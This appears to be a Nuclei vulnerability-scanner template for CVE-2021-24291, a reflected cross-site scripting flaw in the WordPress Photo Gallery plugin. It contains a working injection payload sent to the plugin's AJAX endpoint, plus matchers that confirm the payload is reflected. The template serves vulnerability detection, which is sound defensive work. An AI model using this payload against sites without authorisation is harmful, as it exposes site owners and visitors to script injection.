id: CVE-2021-24291

info:
  name: Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)
  author: geeknik
  description: The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)
  reference: https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a
  severity: medium
  tags: cve,cve2021,xss,wordpress,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - "onmouseover=alert(document.domain)//"
          - "wp-content/uploads/photo-gallery"
        condition: and